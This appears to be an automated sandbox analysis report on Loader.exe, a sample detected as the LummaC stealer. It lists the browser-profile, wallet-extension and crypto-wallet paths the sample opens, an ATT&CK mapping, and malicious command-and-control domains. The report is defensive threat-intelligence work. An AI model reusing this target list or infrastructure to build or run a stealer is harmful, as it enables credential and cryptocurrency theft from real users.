Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: Yara match	File source: 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Loader.exe PID: 7888, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	2 Virtualization/Sandbox Evasion	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	31 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	3 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	43 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Loader.exe	34%	ReversingLabs	Win32.Trojan.Generic
Loader.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
fancywaxxers.shop	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/apim	100%	Avira URL Cloud	malware
rabidcowse.shop	100%	Avira URL Cloud	malware
noisycuttej.shop	100%	Avira URL Cloud	malware
wholersorie.shop	100%	Avira URL Cloud	malware
nearycrepso.shop	100%	Avira URL Cloud	malware
cloudewahsj.shop	100%	Avira URL Cloud	malware
https://fancywaxxers.shop:443/api4p.default-release/key4.dbPK	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/apitd	100%	Avira URL Cloud	malware
framekgirus.shop	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/	100%	Avira URL Cloud	malware
abruptyopsn.shop	100%	Avira URL Cloud	malware
tirepublicerj.shop	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fancywaxxers.shop	104.21.80.1	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
fancywaxxers.shop	true	Avira URL Cloud: malware	unknown
rabidcowse.shop	true	Avira URL Cloud: malware	unknown
wholersorie.shop	true	Avira URL Cloud: malware	unknown
cloudewahsj.shop	true	Avira URL Cloud: malware	unknown
noisycuttej.shop	true	Avira URL Cloud: malware	unknown
nearycrepso.shop	true	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/api	true	Avira URL Cloud: malware	unknown
framekgirus.shop	true	Avira URL Cloud: malware	unknown
tirepublicerj.shop	true	Avira URL Cloud: malware	unknown
abruptyopsn.shop	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Loader.exe, 00000006.00000003.3490854232.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3490986660.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Loader.exe, 00000006.00000003.3490854232.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3490986660.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	Loader.exe	false		high
http://ocsp.entrust.net02	Loader.exe	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	Loader.exe, 00000006.00000003.3521823674.0000000005989000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Loader.exe, 00000006.00000003.3490854232.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3490986660.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop:443/api4p.default-release/key4.dbPK	Loader.exe, 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Loader.exe, 00000006.00000003.3493201418.00000000059DF000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3508198690.00000000059D8000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3508412726.00000000059D8000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3493674605.00000000059D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	Loader.exe, 00000006.00000003.3521823674.0000000005989000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	Loader.exe, 00000006.00000003.3519855745.00000000059B9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Loader.exe, 00000006.00000003.3519855745.00000000059B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Loader.exe, 00000006.00000003.3493674605.00000000059B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Loader.exe, 00000006.00000003.3490854232.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3490986660.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/apim	Loader.exe, 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.entrust.net/ts1ca.crl0	Loader.exe	false		high
https://support.mozilla.org/products/firefoxgro.all	Loader.exe, 00000006.00000003.3521344950.0000000005BE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	Loader.exe, 00000006.00000003.3521823674.0000000005989000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	Loader.exe, 00000006.00000003.3521823674.0000000005989000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Loader.exe, 00000006.00000003.3490854232.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3490986660.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/apitd	Loader.exe, 00000006.00000002.3527107091.0000000003219000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.entrust.net/rpa03	Loader.exe	false		high
http://aia.entrust.net/ts1-chain256.cer01	Loader.exe	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Loader.exe, 00000006.00000003.3490854232.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3490986660.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Loader.exe, 00000006.00000003.3519855745.00000000059B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	Loader.exe, 00000006.00000003.3521823674.0000000005989000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Loader.exe, 00000006.00000003.3519855745.00000000059B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Loader.exe, 00000006.00000003.3493201418.00000000059DF000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3508198690.00000000059D8000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3508412726.00000000059D8000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3493674605.00000000059D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Loader.exe, 00000006.00000003.3490854232.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3490986660.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Loader.exe, 00000006.00000003.3521344950.0000000005BE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	Loader.exe, 00000006.00000003.3490854232.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3490986660.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro	Loader.exe, 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	Loader.exe, 00000006.00000003.3521823674.0000000005989000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	Loader.exe, 00000006.00000003.3493201418.00000000059E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Loader.exe, 00000006.00000003.3519855745.00000000059B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Loader.exe, 00000006.00000003.3493674605.00000000059B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/	Loader.exe, 00000006.00000002.3527107091.000000000329E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Loader.exe, 00000006.00000003.3490854232.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3490986660.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	Loader.exe	false		high
https://www.entrust.net/rpa0	Loader.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.80.1	fancywaxxers.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582076
Start date and time:	2024-12-29 23:33:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Loader.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/4@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 30 Number of non-executed functions: 153
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.45, 20.190.159.71
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Loader.exe

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.80.1	SW_48912.scr.exe	Get hash	malicious	FormBook	Browse	www.dejikenkyu.cyou/pmpa/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	hiranetwork.com/administrator/index.php
	downloader2.hta	Get hash	malicious	XWorm	Browse	2k8u3.org/wininit.exe

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	BasesRow.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	dsoft.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	104.26.13.205
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.0.151
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	EFT Payment_Transcript__Survitecgroup.html	Get hash	malicious	Unknown	Browse	104.18.26.193
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	Lets-x64.exe	Get hash	malicious	Nitol, Zegost	Browse	104.21.81.224
	KL-3.1.16.exe	Get hash	malicious	Nitol, Zegost	Browse	104.21.81.224
	Whyet-4.9.exe	Get hash	malicious	Nitol, Zegost	Browse	104.21.81.224
	GPU-Z.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	172.67.190.234

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	BasesRow.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	GPU-Z.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	104.21.80.1
	Winter.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.80.1
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	rfWu0dUz6A.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer, Xmrig	Browse	104.21.80.1
	gdi32.dll	Get hash	malicious	LummaC	Browse	104.21.80.1
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.80.1

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD23D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Dec 29 22:37:00 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	34560
Entropy (8bit):	1.7963415040398485
Encrypted:	false
SSDEEP:	192:3s9eEusuQGQOTFAmYcSG1NwAC100YcaF:bviSTFAVGbO1j
MD5:	5C207B5DDF484E5B2A1CB6CA2D2F2353
SHA1:	39AEDA046E91BF3E470041E03C50BB4CAE6455AA
SHA-256:	9A564FF0881FE2BCCBEA31602E608C1CF82FFD437C0B60FDB4111FFB6B2C7DFE
SHA-512:	CB247B212F9F79A01D0D2CAE668F7586596A26A2053301085DD5E5C712A8F056A83181773822423122AB4336877D08B3E0825CCA9C6B43E5960FECA062403F16
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........qg........................<...........................T.......8...........T...........P....{......................................................................................................eJ......\.......GenuineIntel............T.......4...V.qg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD27D.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8318
Entropy (8bit):	3.693532374815434
Encrypted:	false
SSDEEP:	192:R6l7wVeJqZ6k6Y9nSUrgmfEyJoXprT89bymsfYmm:R6lXJk6k6YtSUrgmfEyJo+yFfA
MD5:	92DABB31CBC27386F8F53C43BF1B8942
SHA1:	D13C74EE611AC9D42E6249C6B117990C307B1C12
SHA-256:	ABDED7FC5E62CF7EFC42BBE55ED4DAC14B483E740E59E9491CC2C6E986929350
SHA-512:	00C58BC9FEEB47996D4CFD5FE73F245D2FCB1D6FAB37EBC4B26D570F7C0E44FC03F7159065D6C54C490D8DDD51322F1722E8E287A64AD739AEFFAFA2F48640F2
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.4.7.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD31A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4651
Entropy (8bit):	4.448944068794669
Encrypted:	false
SSDEEP:	48:cvIwWl8zsbJg77aI9YjWpW8VYZYm8M4JRXFJ+q86Qax5eAd:uIjf1I7eS7VRJJaax5Zd
MD5:	262B406A374DB92D61AFF5F2F7E164A5
SHA1:	CCDE5628704498E2405D1B9092F7DF66F56E4B17
SHA-256:	8511988E22C206F0B80E9620A1DEBCF70BC93AE1F87853FAB64BACC9CBBAD0EF
SHA-512:	723CE92725184DA7A3AFFE8CC6F2259E81EF7925E4F63C52EC3C47117FDAF0F49B5BB9709E0DDB3D763A695EF2560A3D05C6D3CE20C3AAC40BBBD1D40FC50163
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="653139" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\Loader.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	105882
Entropy (8bit):	2.6415325072564495
Encrypted:	false
